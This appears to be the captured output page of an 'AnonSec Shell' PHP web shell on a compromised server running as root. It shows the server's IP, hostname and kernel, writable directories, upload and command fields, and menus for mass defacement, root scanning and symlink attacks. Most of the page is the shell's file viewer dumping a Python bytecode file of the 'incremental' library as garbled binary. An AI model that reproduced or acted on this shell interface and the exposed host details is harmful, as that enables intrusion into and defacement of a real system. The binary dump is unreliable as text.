AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/incremental/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/incremental/__pycache__/__init__.cpython-310.pyc
o

@�=`�&�@s�dZddlmZmZddlZddlZejdkrdZndZzeZ	Wn
e
y-dd�Z	Ynwd	d
�ZeGdd�de��Z
e
�Z
Gd
d�de�ZeGdd�de��Zdd�Zdd�ZddlmZgd�ZdS)z0
Versions for Python packages.

See L{Version}.
�)�division�absolute_importN)�rFTcCs||krdS||krdSdS)z�
        Compare two objects.

        Returns a negative number if C{a < b}, zero if they are equal, and a
        positive number if C{a > b}.
        ���r��)�a�brr�6/usr/lib/python3/dist-packages/incremental/__init__.py�_cmps
rcCs`ts|Sdd�}dd�}dd�}dd�}d	d
�}dd�}||_||_||_||_||_||_|S)
z�
    Class decorator that ensures support for the special C{__cmp__} method.

    On Python 2 this does nothing.

    On Python 3, C{__eq__}, C{__lt__}, etc. methods are added to the class,
    relying on C{__cmp__} to implement their comparisons.
    cSs|�|�}|tur|S|dkS�Nr��__cmp__�NotImplemented��self�other�crrr
�__eq__8�
z_comparable.<locals>.__eq__cSs|�|�}|tur|S|dkSrr
rrrr
�__ne__>rz_comparable.<locals>.__ne__cSs|�|�}|tur|S|dkSrr
rrrr
�__lt__Drz_comparable.<locals>.__lt__cSs|�|�}|tur|S|dkSrr
rrrr
�__le__Jrz_comparable.<locals>.__le__cSs|�|�}|tur|S|dkSrr
rrrr
�__gt__Prz_comparable.<locals>.__gt__cSs|�|�}|tur|S|dkSrr
rrrr
�__ge__Vrz_comparable.<locals>.__ge__)�_PY3rrrrrr)�klassrrrrrrrrr
�_comparable+s
rc@seZdZdZdd�ZdS)�_infz:
    An object that is bigger than all other objects.
    cCs|turdSdS)z�
        @param other: Another object.
        @type other: any

        @return: 0 if other is inf, 1 otherwise.
        @rtype: C{int}
        rr)r)rrrrr
rpsz_inf.__cmp__N)�__name__�
__module__�__qualname__�__doc__rrrrr
rjsrc@seZdZdZdS)�IncomparableVersionsz-
    Two versions could not be compared.
    N)rr r!r"rrrr
r#�sr#c@sZeZdZdZ				ddd�Zedd��Zdd�ZeZeZ	eZ
d	d
�Zdd�Zd
d�Z
dS)�Versionz�
    An encapsulation of a version for a project, with support for outputting
    PEP-440 compatible version strings.

    This class supports the standard major.minor.micro[rcN] scheme of
    versioning.
    Nc		Cs~|r|rtd��|r|s|}tjdtdd�|dkr(|s$|s$|s$|s$|r(td��||_||_||_||_||_||_	||_
dS)a�
        @param package: Name of the package that this is a version of.
        @type package: C{str}
        @param major: The major version number.
        @type major: C{int} or C{str} (for the "NEXT" symbol)
        @param minor: The minor version number.
        @type minor: C{int}
        @param micro: The micro version number.
        @type micro: C{int}
        @param release_candidate: The release candidate number.
        @type release_candidate: C{int}
        @param prerelease: The prerelease number. (Deprecated)
        @type prerelease: C{int}
        @param post: The postrelease number.
        @type post: C{int}
        @param dev: The development release number.
        @type dev: C{int}
        z Please only return one of these.zvPassing prerelease to incremental.Version was deprecated in Incremental 16.9.0. Please pass release_candidate instead.���
stacklevel�NEXTz;When using NEXT, all other values except Package must be 0.N)�
ValueError�warnings�warn�DeprecationWarning�package�major�minor�micro�release_candidate�post�dev)	rr-r.r/r0r1�
prereleaser2r3rrr
�__init__�s*�
�
zVersion.__init__cCstjdtdd�f|jS)NzuAccessing incremental.Version.prerelease was deprecated in Incremental 16.9.0. Use Version.release_candidate instead.r%r&)r*r+r,r1�rrrr
r4�s�	zVersion.prereleasecCs~|jdkr|jS|jdurd}nd|jf}|jdurd}nd|jf}|jdur,d}nd|jf}d|j|j|j|||fS)z�
        Return a PEP440-compatible "public" representation of this L{Version}.

        Examples:

          - 14.4.0
          - 1.2.3rc1
          - 14.2.1rc1dev9
          - 16.04.0dev0
        r(N�z.rc%sz.post%sz.dev%sz%r.%d.%d%s%s%s)r.r1r2r3r/r0)r�rcr2r3rrr
�public�s



zVersion.publicc	Csx|jdurd}nd|jf}|jdurd}nd|jf}|jdur$d}nd|jf}d|jj|j|j|j|j|||fS)Nr7z, release_candidate=%rz	, post=%rz, dev=%rz%s(%r, %r, %d, %d%s%s%s))	r1r2r3�	__class__rr-r.r/r0)rr1r2r3rrr
�__repr__�s&


�zVersion.__repr__cCsd|j|��fS)Nz[%s, version %s]�r-�shortr6rrr
�__str__szVersion.__str__cCst||j�stS|j��|j��krtd|j|jf��|jdkr$t}n|j}|jdur/t}n|j}|j	dur:d}n|j	}|j
durEt}n|j
}|jdkrPt}n|j}|jdur[t}n|j}|j	durfd}n|j	}|j
durqt}	n|j
}	t||j|j
|||f||j|j
|||	f�}
|
S)aw
        Compare two versions, considering major versions, minor versions, micro
        versions, then release candidates, then postreleases, then dev
        releases. Package names are case insensitive.

        A version with a release candidate is always less than a version
        without a release candidate. If both versions have release candidates,
        they will be included in the comparison.

        Likewise, a version with a dev release is always less than a version
        without a dev release. If both versions have dev releases, they will
        be included in the comparison.

        @param other: Another version.
        @type other: L{Version}

        @return: NotImplemented when the other object is not a Version, or one
            of -1, 0, or 1.

        @raise IncomparableVersions: when the package names of the versions
            differ.
        z%r != %rr(Nr)�
isinstancer:rr-�lowerr#r.rr1r2r3rr/r0)rrr.r1r2r3�
othermajor�otherrc�	otherpost�otherdev�xrrr
rsB







�zVersion.__cmp__)NNNN)rr r!r"r5�propertyr4r9�baser=�localr;r>rrrrr
r$�s 
�9
r$cCsd|j|��f}|S)z�
    Get a friendly string for the given version object.

    @param version: A L{Version} object.
    @return: A string containing the package and short version number.
    z%s %sr<)�version�resultrrr
�getVersionStringcsrKc	Cs�|sdSddlm}|�|�}|��|��D]2}|ddkrIi}t|d��}t|��|�Wd�n1s9wY|d��|j_	dSqt
d��)	zF
    Get the version from the package listed in the Distribution.
    Nr)�build_pyr�_versionr%�__version__zNo _version.py found.)�distutils.commandrL�finalize_options�find_all_modules�open�exec�readr9�metadatarI�	Exception)�dist�keyword�valuerL�
sp_command�item�version_file�frrr
�_get_versionns
��	r^r)rN)rNr$rK)r"�
__future__rr�sysr*�version_infor�cmpr�	NameErrorr�objectr�	TypeErrorr#r$rKr^rMrN�__all__rrrr
�<module>s0
�?]

Anon7 - 2022
AnonSec Team